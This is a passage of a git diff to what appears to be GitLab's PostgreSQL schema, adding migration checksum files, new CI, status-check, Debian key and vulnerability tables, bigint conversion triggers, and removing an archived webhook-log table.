+9f8ff974adc7c20908cd423b2d3f69d8ec16b0fcbb8bfbdb9347a9ff3f3a007a \ No newline at end of file
diff --git a/db/schema_migrations/20210609013512 b/db/schema_migrations/20210609013512
new file mode 100644
index 00000000000..52541965dde
--- /dev/null
+++ b/db/schema_migrations/20210609013512
@@ -0,0 +1 @@
+ddd40d4fb063b3a728f4b9a214d6033f70ee3719ac769957f5295a0c5f62a5c0 \ No newline at end of file
diff --git a/db/schema_migrations/20210609090856 b/db/schema_migrations/20210609090856
new file mode 100644
index 00000000000..f0c3c25a01b
--- /dev/null
+++ b/db/schema_migrations/20210609090856
@@ -0,0 +1 @@
+597e04c51bdad1900b2535c9d664c9e3a4d2a5879e657ef470bbc7ac461d3cca \ No newline at end of file
diff --git a/db/schema_migrations/20210609125005 b/db/schema_migrations/20210609125005
new file mode 100644
index 00000000000..3e26956bdb8
--- /dev/null
+++ b/db/schema_migrations/20210609125005
@@ -0,0 +1 @@
+de8468173d8a7499d03b84913cf071af8842a2f47d5f85908af20bf7c71dc96b \ No newline at end of file
diff --git a/db/schema_migrations/20210609192728 b/db/schema_migrations/20210609192728
new file mode 100644
index 00000000000..e39cbc077b4
--- /dev/null
+++ b/db/schema_migrations/20210609192728
@@ -0,0 +1 @@
+b6c503eddc1c5e36957b59efc8fc5dd75da18104499667c3fcc435fcbd739af3 \ No newline at end of file
diff --git a/db/schema_migrations/20210609193101 b/db/schema_migrations/20210609193101
new file mode 100644
index 00000000000..42fc6427247
--- /dev/null
+++ b/db/schema_migrations/20210609193101
@@ -0,0 +1 @@
+09771c6f56e54a4d3dc0caab4891cbaf2a1d5685ccb1161d141ce38e44d6cfdb \ No newline at end of file
diff --git a/db/schema_migrations/20210610102410 b/db/schema_migrations/20210610102410
new file mode 100644
index 00000000000..1d6bb16209e
--- /dev/null
+++ b/db/schema_migrations/20210610102410
@@ -0,0 +1 @@
+dab13c78f6f758c63be923277c0f31e4cce4e30f77a8dc2983a9bb1500a454f9 \ No newline at end of file
diff --git a/db/schema_migrations/20210610102413 b/db/schema_migrations/20210610102413
new file mode 100644
index 00000000000..d94b1623e24
--- /dev/null
+++ b/db/schema_migrations/20210610102413
@@ -0,0 +1 @@
+ce21070d44a34081c6babd14e6a1b607bad5ed9047b18f4ef0beb64b5a2ce120 \ No newline at end of file
diff --git a/db/schema_migrations/20210610113229 b/db/schema_migrations/20210610113229
new file mode 100644
index 00000000000..15d4d567534
--- /dev/null
+++ b/db/schema_migrations/20210610113229
@@ -0,0 +1 @@
+3ad279a7c57e433a8ee349dabd2536c1de9055936b05c26b5469606067eb90d4 \ No newline at end of file
diff --git a/db/schema_migrations/20210610141711 b/db/schema_migrations/20210610141711
new file mode 100644
index 00000000000..786ca655eeb
--- /dev/null
+++ b/db/schema_migrations/20210610141711
@@ -0,0 +1 @@
+b8bfe0d67516f0fe71c166a616c2279fc9f45769c369d8ddd86e9705dbc55097 \ No newline at end of file
diff --git a/db/schema_migrations/20210611080951 b/db/schema_migrations/20210611080951
new file mode 100644
index 00000000000..ca33abde56c
--- /dev/null
+++ b/db/schema_migrations/20210611080951
@@ -0,0 +1 @@
+95e4b697f5c5b18935b73bbeb0c42c96e3e5abde9e4f9e179d1a93a891a0694b \ No newline at end of file
diff --git a/db/schema_migrations/20210611100359 b/db/schema_migrations/20210611100359
new file mode 100644
index 00000000000..058f7c8ff4e
--- /dev/null
+++ b/db/schema_migrations/20210611100359
@@ -0,0 +1 @@
+9429a8adca0bc85167f64e76d8d72b45d09d4303a01bd9c4ca39560bb4d89799 \ No newline at end of file
diff --git a/db/schema_migrations/20210614131002 b/db/schema_migrations/20210614131002
new file mode 100644
index 00000000000..6d59a254365
--- /dev/null
+++ b/db/schema_migrations/20210614131002
@@ -0,0 +1 @@
+dedf2f8d76f4131f34d61fe2c730f8b092ca46f8b35b08a76b7bc096c140aad1 \ No newline at end of file
diff --git a/db/structure.sql b/db/structure.sql
index 77b7557b14f..fcac180738c 100644
--- a/db/structure.sql
+++ b/db/structure.sql
@@ -41,62 +41,6 @@ RETURN NULL;
END
$$;
-CREATE FUNCTION table_sync_function_29bc99d6db() RETURNS trigger
- LANGUAGE plpgsql
- AS $$
-BEGIN
-IF (TG_OP = 'DELETE') THEN
- DELETE FROM web_hook_logs_archived where id = OLD.id;
-ELSIF (TG_OP = 'UPDATE') THEN
- UPDATE web_hook_logs_archived
- SET web_hook_id = NEW.web_hook_id,
- trigger = NEW.trigger,
- url = NEW.url,
- request_headers = NEW.request_headers,
- request_data = NEW.request_data,
- response_headers = NEW.response_headers,
- response_body = NEW.response_body,
- response_status = NEW.response_status,
- execution_duration = NEW.execution_duration,
- internal_error_message = NEW.internal_error_message,
- created_at = NEW.created_at,
- updated_at = NEW.updated_at
- WHERE web_hook_logs_archived.id = NEW.id;
-ELSIF (TG_OP = 'INSERT') THEN
- INSERT INTO web_hook_logs_archived (id,
- web_hook_id,
- trigger,
- url,
- request_headers,
- request_data,
- response_headers,
- response_body,
- response_status,
- execution_duration,
- internal_error_message,
- created_at,
- updated_at)
- VALUES (NEW.id,
- NEW.web_hook_id,
- NEW.trigger,
- NEW.url,
- NEW.request_headers,
- NEW.request_data,
- NEW.response_headers,
- NEW.response_body,
- NEW.response_status,
- NEW.execution_duration,
- NEW.internal_error_message,
- NEW.created_at,
- NEW.updated_at);
-END IF;
-RETURN NULL;
-
-END
-$$;
-
-COMMENT ON FUNCTION table_sync_function_29bc99d6db() IS 'Partitioning migration: table sync for web_hook_logs table';
-
CREATE FUNCTION trigger_07c94931164e() RETURNS trigger
LANGUAGE plpgsql
AS $$
@@ -125,6 +69,15 @@ BEGIN
END;
$$;
+CREATE FUNCTION trigger_490d204c00b3() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."id_convert_to_bigint" := NEW."id";
+ RETURN NEW;
+END;
+$$;
+
CREATE FUNCTION trigger_51ab7cef8934() RETURNS trigger
LANGUAGE plpgsql
AS $$
@@ -143,6 +96,15 @@ BEGIN
END;
$$;
+CREATE FUNCTION trigger_77f5e1d20482() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."deployable_id_convert_to_bigint" := NEW."deployable_id";
+ RETURN NEW;
+END;
+$$;
+
CREATE FUNCTION trigger_8485e97c00e3() RETURNS trigger
LANGUAGE plpgsql
AS $$
@@ -152,6 +114,34 @@ BEGIN
END;
$$;
+CREATE FUNCTION trigger_8487d4de3e7b() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."build_id_convert_to_bigint" := NEW."build_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_91dc388a5fe6() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."build_id_convert_to_bigint" := NEW."build_id";
+ RETURN NEW;
+END;
+$$;
+
+CREATE FUNCTION trigger_aebe8b822ad3() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."id_convert_to_bigint" := NEW."id";
+ NEW."taggable_id_convert_to_bigint" := NEW."taggable_id";
+ RETURN NEW;
+END;
+$$;
+
CREATE FUNCTION trigger_be1804f21693() RETURNS trigger
LANGUAGE plpgsql
AS $$
@@ -171,6 +161,15 @@ BEGIN
END;
$$;
+CREATE FUNCTION trigger_f1ca8ec18d78() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+ NEW."job_artifact_id_convert_to_bigint" := NEW."job_artifact_id";
+ RETURN NEW;
+END;
+$$;
+
CREATE TABLE audit_events (
id bigint NOT NULL,
author_id integer NOT NULL,
@@ -9082,25 +9081,6 @@ CREATE SEQUENCE analytics_cycle_analytics_project_value_streams_id_seq
ALTER SEQUENCE analytics_cycle_analytics_project_value_streams_id_seq OWNED BY analytics_cycle_analytics_project_value_streams.id;
-CREATE TABLE analytics_devops_adoption_segment_selections (
- id bigint NOT NULL,
- segment_id bigint NOT NULL,
- group_id bigint,
- project_id bigint,
- created_at timestamp with time zone NOT NULL,
- updated_at timestamp with time zone NOT NULL,
- CONSTRAINT segment_selection_project_id_or_group_id_required CHECK ((((project_id <> NULL::bigint) AND (group_id IS NULL)) OR ((group_id <> NULL::bigint) AND (project_id IS NULL))))
-);
-
-CREATE SEQUENCE analytics_devops_adoption_segment_selections_id_seq
- START WITH 1
- INCREMENT BY 1
- NO MINVALUE
- NO MAXVALUE
- CACHE 1;
-
-ALTER SEQUENCE analytics_devops_adoption_segment_selections_id_seq OWNED BY analytics_devops_adoption_segment_selections.id;
-
CREATE TABLE analytics_devops_adoption_segments (
id bigint NOT NULL,
last_recorded_at timestamp with time zone,
@@ -9121,7 +9101,7 @@ ALTER SEQUENCE analytics_devops_adoption_segments_id_seq OWNED BY analytics_devo
CREATE TABLE analytics_devops_adoption_snapshots (
id bigint NOT NULL,
- segment_id bigint NOT NULL,
+ segment_id bigint,
recorded_at timestamp with time zone NOT NULL,
issue_opened boolean NOT NULL,
merge_request_opened boolean NOT NULL,
@@ -9133,7 +9113,8 @@ CREATE TABLE analytics_devops_adoption_snapshots (
end_time timestamp with time zone NOT NULL,
total_projects_count integer,
code_owners_used_count integer,
- namespace_id integer
+ namespace_id integer,
+ CONSTRAINT check_3f472de131 CHECK ((namespace_id IS NOT NULL))
);
CREATE SEQUENCE analytics_devops_adoption_snapshots_id_seq
@@ -9145,31 +9126,31 @@ CREATE SEQUENCE analytics_devops_adoption_snapshots_id_seq
ALTER SEQUENCE analytics_devops_adoption_snapshots_id_seq OWNED BY analytics_devops_adoption_snapshots.id;
-CREATE TABLE analytics_instance_statistics_measurements (
+CREATE TABLE analytics_language_trend_repository_languages (
+ file_count integer DEFAULT 0 NOT NULL,
+ programming_language_id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ loc integer DEFAULT 0 NOT NULL,
+ bytes integer DEFAULT 0 NOT NULL,
+ percentage smallint DEFAULT 0 NOT NULL,
+ snapshot_date date NOT NULL
+);
+
+CREATE TABLE analytics_usage_trends_measurements (
id bigint NOT NULL,
count bigint NOT NULL,
recorded_at timestamp with time zone NOT NULL,
identifier smallint NOT NULL
);
-CREATE SEQUENCE analytics_instance_statistics_measurements_id_seq
+CREATE SEQUENCE analytics_usage_trends_measurements_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE analytics_instance_statistics_measurements_id_seq OWNED BY analytics_instance_statistics_measurements.id;
-
-CREATE TABLE analytics_language_trend_repository_languages (
- file_count integer DEFAULT 0 NOT NULL,
- programming_language_id bigint NOT NULL,
- project_id bigint NOT NULL,
- loc integer DEFAULT 0 NOT NULL,
- bytes integer DEFAULT 0 NOT NULL,
- percentage smallint DEFAULT 0 NOT NULL,
- snapshot_date date NOT NULL
-);
+ALTER SEQUENCE analytics_usage_trends_measurements_id_seq OWNED BY analytics_usage_trends_measurements.id;
CREATE TABLE appearances (
id integer NOT NULL,
@@ -9507,7 +9488,7 @@ CREATE TABLE application_settings (
rate_limiting_response_text text,
invisible_captcha_enabled boolean DEFAULT false NOT NULL,
container_registry_cleanup_tags_service_max_list_size integer DEFAULT 200 NOT NULL,
- enforce_ssh_key_expiration boolean DEFAULT false NOT NULL,
+ enforce_ssh_key_expiration boolean DEFAULT true NOT NULL,
git_two_factor_session_expiry integer DEFAULT 15 NOT NULL,
keep_latest_artifact boolean DEFAULT true NOT NULL,
notes_create_limit integer DEFAULT 300 NOT NULL,
@@ -9536,6 +9517,8 @@ CREATE TABLE application_settings (
elasticsearch_username text,
encrypted_elasticsearch_password bytea,
encrypted_elasticsearch_password_iv bytea,
+ diff_max_lines integer DEFAULT 50000 NOT NULL,
+ diff_max_files integer DEFAULT 1000 NOT NULL,
CONSTRAINT app_settings_container_reg_cleanup_tags_max_list_size_positive CHECK ((container_registry_cleanup_tags_service_max_list_size >= 0)),
CONSTRAINT app_settings_ext_pipeline_validation_service_url_text_limit CHECK ((char_length(external_pipeline_validation_service_url) <= 255)),
CONSTRAINT app_settings_registry_exp_policies_worker_capacity_positive CHECK ((container_registry_expiration_policies_worker_capacity >= 0)),
@@ -10499,7 +10482,8 @@ CREATE TABLE ci_build_trace_sections (
byte_start bigint NOT NULL,
byte_end bigint NOT NULL,
build_id integer NOT NULL,
- section_name_id integer NOT NULL
+ section_name_id integer NOT NULL,
+ build_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE TABLE ci_builds (
@@ -10574,7 +10558,8 @@ CREATE TABLE ci_builds_metadata (
has_exposed_artifacts boolean,
environment_auto_stop_in character varying(255),
expanded_environment_name character varying(255),
- secrets jsonb DEFAULT '{}'::jsonb NOT NULL
+ secrets jsonb DEFAULT '{}'::jsonb NOT NULL,
+ build_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE SEQUENCE ci_builds_metadata_id_seq
@@ -10738,6 +10723,23 @@ CREATE SEQUENCE ci_job_artifacts_id_seq
ALTER SEQUENCE ci_job_artifacts_id_seq OWNED BY ci_job_artifacts.id;
+CREATE TABLE ci_job_token_project_scope_links (
+ id bigint NOT NULL,
+ source_project_id bigint NOT NULL,
+ target_project_id bigint NOT NULL,
+ added_by_id bigint,
+ created_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE ci_job_token_project_scope_links_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_job_token_project_scope_links_id_seq OWNED BY ci_job_token_project_scope_links.id;
+
CREATE TABLE ci_job_variables (
id bigint NOT NULL,
key character varying NOT NULL,
@@ -10757,6 +10759,26 @@ CREATE SEQUENCE ci_job_variables_id_seq
ALTER SEQUENCE ci_job_variables_id_seq OWNED BY ci_job_variables.id;
+CREATE TABLE ci_minutes_additional_packs (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ namespace_id bigint NOT NULL,
+ expires_at date,
+ number_of_minutes integer NOT NULL,
+ purchase_xid text,
+ CONSTRAINT check_d7ef254af0 CHECK ((char_length(purchase_xid) <= 32))
+);
+
+CREATE SEQUENCE ci_minutes_additional_packs_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_minutes_additional_packs_id_seq OWNED BY ci_minutes_additional_packs.id;
+
CREATE TABLE ci_namespace_monthly_usages (
id bigint NOT NULL,
namespace_id bigint NOT NULL,
@@ -10775,6 +10797,23 @@ CREATE SEQUENCE ci_namespace_monthly_usages_id_seq
ALTER SEQUENCE ci_namespace_monthly_usages_id_seq OWNED BY ci_namespace_monthly_usages.id;
+CREATE TABLE ci_pending_builds (
+ id bigint NOT NULL,
+ build_id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ created_at timestamp with time zone DEFAULT now() NOT NULL,
+ protected boolean DEFAULT false NOT NULL
+);
+
+CREATE SEQUENCE ci_pending_builds_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_pending_builds_id_seq OWNED BY ci_pending_builds.id;
+
CREATE TABLE ci_pipeline_artifacts (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -11101,7 +11140,8 @@ CREATE TABLE ci_runners (
runner_type smallint NOT NULL,
token_encrypted character varying,
public_projects_minutes_cost_factor double precision DEFAULT 0.0 NOT NULL,
- private_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL
+ private_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL,
+ config jsonb DEFAULT '{}'::jsonb NOT NULL
);
CREATE SEQUENCE ci_runners_id_seq
@@ -11113,6 +11153,24 @@ CREATE SEQUENCE ci_runners_id_seq
ALTER SEQUENCE ci_runners_id_seq OWNED BY ci_runners.id;
+CREATE TABLE ci_running_builds (
+ id bigint NOT NULL,
+ build_id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ runner_id bigint NOT NULL,
+ created_at timestamp with time zone DEFAULT now() NOT NULL,
+ runner_type smallint NOT NULL
+);
+
+CREATE SEQUENCE ci_running_builds_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_running_builds_id_seq OWNED BY ci_running_builds.id;
+
CREATE TABLE ci_sources_pipelines (
id integer NOT NULL,
project_id integer,
@@ -11157,6 +11215,7 @@ CREATE TABLE ci_stages (
status integer,
lock_version integer DEFAULT 0,
"position" integer,
+ id_convert_to_bigint bigint DEFAULT 0 NOT NULL,
CONSTRAINT check_81b431e49b CHECK ((lock_version IS NOT NULL))
);
@@ -12259,7 +12318,8 @@ CREATE TABLE deployments (
on_stop character varying,
status smallint NOT NULL,
finished_at timestamp with time zone,
- cluster_id integer
+ cluster_id integer,
+ deployable_id_convert_to_bigint bigint
);
CREATE SEQUENCE deployments_id_seq
@@ -12722,14 +12782,14 @@ CREATE TABLE experiment_subjects (
id bigint NOT NULL,
experiment_id bigint NOT NULL,
user_id bigint,
- group_id bigint,
project_id bigint,
variant smallint DEFAULT 0 NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
converted_at timestamp with time zone,
context jsonb DEFAULT '{}'::jsonb NOT NULL,
- CONSTRAINT chk_has_one_subject CHECK ((num_nonnulls(user_id, group_id, project_id) = 1))
+ namespace_id bigint,
+ CONSTRAINT check_f6411bc4b5 CHECK ((num_nonnulls(user_id, namespace_id, project_id) = 1))
);
CREATE SEQUENCE experiment_subjects_id_seq
@@ -12835,6 +12895,41 @@ CREATE SEQUENCE external_pull_requests_id_seq
ALTER SEQUENCE external_pull_requests_id_seq OWNED BY external_pull_requests.id;
+CREATE TABLE external_status_checks (
+ id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ external_url text NOT NULL,
+ name text NOT NULL,
+ CONSTRAINT check_7e3b9eb41a CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_ae0dec3f61 CHECK ((char_length(external_url) <= 255))
+);
+
+CREATE SEQUENCE external_status_checks_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE external_status_checks_id_seq OWNED BY external_status_checks.id;
+
+CREATE TABLE external_status_checks_protected_branches (
+ id bigint NOT NULL,
+ external_status_check_id bigint NOT NULL,
+ protected_branch_id bigint NOT NULL
+);
+
+CREATE SEQUENCE external_status_checks_protected_branches_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE external_status_checks_protected_branches_id_seq OWNED BY external_status_checks_protected_branches.id;
+
CREATE TABLE feature_gates (
id integer NOT NULL,
feature_key character varying NOT NULL,
@@ -13015,7 +13110,8 @@ ALTER SEQUENCE geo_hashed_storage_migrated_events_id_seq OWNED BY geo_hashed_sto
CREATE TABLE geo_job_artifact_deleted_events (
id bigint NOT NULL,
job_artifact_id integer NOT NULL,
- file_path character varying NOT NULL
+ file_path character varying NOT NULL,
+ job_artifact_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE SEQUENCE geo_job_artifact_deleted_events_id_seq
@@ -14280,8 +14376,7 @@ CREATE TABLE labels (
description_html text,
type character varying,
group_id integer,
- cached_markdown_version integer,
- remove_on_close boolean DEFAULT false NOT NULL
+ cached_markdown_version integer
);
CREATE SEQUENCE labels_id_seq
@@ -14568,6 +14663,8 @@ CREATE TABLE merge_request_diff_details (
verification_retry_count smallint,
verification_checksum bytea,
verification_failure text,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_started_at timestamp with time zone,
CONSTRAINT check_81429e3622 CHECK ((char_length(verification_failure) <= 255))
);
@@ -14926,6 +15023,7 @@ CREATE TABLE namespace_settings (
delayed_project_removal boolean,
resource_access_token_creation_allowed boolean DEFAULT true NOT NULL,
lock_delayed_project_removal boolean DEFAULT false NOT NULL,
+ prevent_sharing_groups_outside_hierarchy boolean DEFAULT false NOT NULL,
CONSTRAINT check_0ba93c78c7 CHECK ((char_length(default_branch_name) <= 255))
);
@@ -15538,6 +15636,30 @@ CREATE SEQUENCE packages_debian_group_components_id_seq
ALTER SEQUENCE packages_debian_group_components_id_seq OWNED BY packages_debian_group_components.id;
+CREATE TABLE packages_debian_group_distribution_keys (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ distribution_id bigint NOT NULL,
+ encrypted_private_key text NOT NULL,
+ encrypted_private_key_iv text NOT NULL,
+ encrypted_passphrase text NOT NULL,
+ encrypted_passphrase_iv text NOT NULL,
+ public_key text NOT NULL,
+ fingerprint text NOT NULL,
+ CONSTRAINT check_bc95dc3fbe CHECK ((char_length(fingerprint) <= 255)),
+ CONSTRAINT check_f708183491 CHECK ((char_length(public_key) <= 524288))
+);
+
+CREATE SEQUENCE packages_debian_group_distribution_keys_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE packages_debian_group_distribution_keys_id_seq OWNED BY packages_debian_group_distribution_keys.id;
+
CREATE TABLE packages_debian_group_distributions (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -15640,6 +15762,30 @@ CREATE SEQUENCE packages_debian_project_components_id_seq
ALTER SEQUENCE packages_debian_project_components_id_seq OWNED BY packages_debian_project_components.id;
+CREATE TABLE packages_debian_project_distribution_keys (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ distribution_id bigint NOT NULL,
+ encrypted_private_key text NOT NULL,
+ encrypted_private_key_iv text NOT NULL,
+ encrypted_passphrase text NOT NULL,
+ encrypted_passphrase_iv text NOT NULL,
+ public_key text NOT NULL,
+ fingerprint text NOT NULL,
+ CONSTRAINT check_9e8a5eef0a CHECK ((char_length(fingerprint) <= 255)),
+ CONSTRAINT check_d188f6547f CHECK ((char_length(public_key) <= 524288))
+);
+
+CREATE SEQUENCE packages_debian_project_distribution_keys_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE packages_debian_project_distribution_keys_id_seq OWNED BY packages_debian_project_distribution_keys.id;
+
CREATE TABLE packages_debian_project_distributions (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -16135,7 +16281,8 @@ CREATE TABLE plan_limits (
helm_max_file_size bigint DEFAULT 5242880 NOT NULL,
ci_registered_group_runners integer DEFAULT 1000 NOT NULL,
ci_registered_project_runners integer DEFAULT 1000 NOT NULL,
- web_hook_calls integer DEFAULT 0 NOT NULL
+ web_hook_calls integer DEFAULT 0 NOT NULL,
+ ci_daily_pipeline_schedule_triggers integer DEFAULT 0 NOT NULL
);
CREATE SEQUENCE plan_limits_id_seq
@@ -16454,7 +16601,8 @@ CREATE TABLE project_ci_cd_settings (
merge_trains_enabled boolean DEFAULT false,
auto_rollback_enabled boolean DEFAULT false NOT NULL,
keep_latest_artifact boolean DEFAULT true NOT NULL,
- restrict_user_defined_variables boolean DEFAULT false NOT NULL
+ restrict_user_defined_variables boolean DEFAULT false NOT NULL,
+ job_token_scope_enabled boolean DEFAULT false NOT NULL
);
CREATE SEQUENCE project_ci_cd_settings_id_seq
@@ -16902,7 +17050,7 @@ CREATE TABLE projects (
pages_https_only boolean DEFAULT true,
external_webhook_token character varying,
packages_enabled boolean,
- merge_requests_author_approval boolean,
+ merge_requests_author_approval boolean DEFAULT false,
pool_repository_id bigint,
runners_token_encrypted character varying,
bfg_object_map character varying,
@@ -17092,10 +17240,12 @@ ALTER SEQUENCE protected_environment_deploy_access_levels_id_seq OWNED BY protec
CREATE TABLE protected_environments (
id integer NOT NULL,
- project_id integer NOT NULL,
+ project_id integer,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
- name character varying NOT NULL
+ name character varying NOT NULL,
+ group_id bigint,
+ CONSTRAINT protected_environments_project_or_group_existence CHECK (((project_id IS NULL) <> (group_id IS NULL)))
);
CREATE SEQUENCE protected_environments_id_seq
@@ -18014,7 +18164,9 @@ ALTER SEQUENCE sprints_id_seq OWNED BY sprints.id;
CREATE TABLE status_check_responses (
id bigint NOT NULL,
merge_request_id bigint NOT NULL,
- external_approval_rule_id bigint NOT NULL
+ external_approval_rule_id bigint,
+ sha bytea NOT NULL,
+ external_status_check_id bigint NOT NULL
);
CREATE SEQUENCE status_check_responses_id_seq
@@ -18134,7 +18286,9 @@ CREATE TABLE taggings (
tagger_id integer,
tagger_type character varying,
context character varying,
- created_at timestamp without time zone
+ created_at timestamp without time zone,
+ id_convert_to_bigint bigint DEFAULT 0 NOT NULL,
+ taggable_id_convert_to_bigint bigint
);
CREATE SEQUENCE taggings_id_seq
@@ -18332,6 +18486,24 @@ CREATE SEQUENCE u2f_registrations_id_seq
ALTER SEQUENCE u2f_registrations_id_seq OWNED BY u2f_registrations.id;
+CREATE TABLE upcoming_reconciliations (
+ id bigint NOT NULL,
+ namespace_id bigint,
+ next_reconciliation_date date NOT NULL,
+ display_alert_from date NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE upcoming_reconciliations_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE upcoming_reconciliations_id_seq OWNED BY upcoming_reconciliations.id;
+
CREATE TABLE uploads (
id integer NOT NULL,
size bigint NOT NULL,
@@ -18441,8 +18613,10 @@ CREATE TABLE user_details (
webauthn_xid text,
other_role text,
provisioned_by_group_id bigint,
+ pronouns text,
CONSTRAINT check_245664af82 CHECK ((char_length(webauthn_xid) <= 100)),
- CONSTRAINT check_b132136b01 CHECK ((char_length(other_role) <= 100))
+ CONSTRAINT check_b132136b01 CHECK ((char_length(other_role) <= 100)),
+ CONSTRAINT check_eeeaf8d4f0 CHECK ((char_length(pronouns) <= 50))
);
CREATE SEQUENCE user_details_user_id_seq
@@ -18840,6 +19014,27 @@ CREATE SEQUENCE vulnerability_feedback_id_seq
ALTER SEQUENCE vulnerability_feedback_id_seq OWNED BY vulnerability_feedback.id;
+CREATE TABLE vulnerability_finding_evidence_headers (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ vulnerability_finding_evidence_request_id bigint,
+ vulnerability_finding_evidence_response_id bigint,
+ name text NOT NULL,
+ value text NOT NULL,
+ CONSTRAINT check_01d21e8d92 CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_3f9011f903 CHECK ((char_length(value) <= 8192))
+);
+
+CREATE SEQUENCE vulnerability_finding_evidence_headers_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_evidence_headers_id_seq OWNED BY vulnerability_finding_evidence_headers.id;
+
CREATE TABLE vulnerability_finding_evidence_requests (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -19077,6 +19272,7 @@ CREATE TABLE vulnerability_occurrences (
solution text,
cve text,
location jsonb,
+ detection_method smallint DEFAULT 0 NOT NULL,
CONSTRAINT check_4a3a60f2ba CHECK ((char_length(solution) <= 7000)),
CONSTRAINT check_ade261da6b CHECK ((char_length(description) <= 15000)),
CONSTRAINT check_df6dd20219 CHECK ((char_length(message) <= 3000)),
@@ -19147,7 +19343,8 @@ CREATE TABLE vulnerability_statistics (
low integer DEFAULT 0 NOT NULL,
unknown integer DEFAULT 0 NOT NULL,
info integer DEFAULT 0 NOT NULL,
- letter_grade smallint NOT NULL
+ letter_grade smallint NOT NULL,
+ latest_pipeline_id bigint
);
CREATE SEQUENCE vulnerability_statistics_id_seq
@@ -19177,22 +19374,6 @@ CREATE SEQUENCE vulnerability_user_mentions_id_seq
ALTER SEQUENCE vulnerability_user_mentions_id_seq OWNED BY vulnerability_user_mentions.id;
-CREATE TABLE web_hook_logs_archived (
- id integer NOT NULL,
- web_hook_id integer NOT NULL,
- trigger character varying,
- url character varying,
- request_headers text,
- request_data text,
- response_headers text,
- response_body text,
- response_status character varying,
- execution_duration double precision,
- internal_error_message character varying,
- created_at timestamp without time zone NOT NULL,
- updated_at timestamp without time zone NOT NULL
-);
-
CREATE SEQUENCE web_hook_logs_id_seq
START WITH 1
INCREMENT BY 1
@@ -19401,13 +19582,11 @@ ALTER TABLE ONLY analytics_cycle_analytics_project_stages ALTER COLUMN id SET DE
ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams ALTER COLUMN id SET DEFAULT nextval('analytics_cycle_analytics_project_value_streams_id_seq'::regclass);
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_segment_selections_id_seq'::regclass);
-
ALTER TABLE ONLY analytics_devops_adoption_segments ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_segments_id_seq'::regclass);
ALTER TABLE ONLY analytics_devops_adoption_snapshots ALTER COLUMN id SET DEFAULT nextval('analytics_devops_adoption_snapshots_id_seq'::regclass);
-ALTER TABLE ONLY analytics_instance_statistics_measurements ALTER COLUMN id SET DEFAULT nextval('analytics_instance_statistics_measurements_id_seq'::regclass);
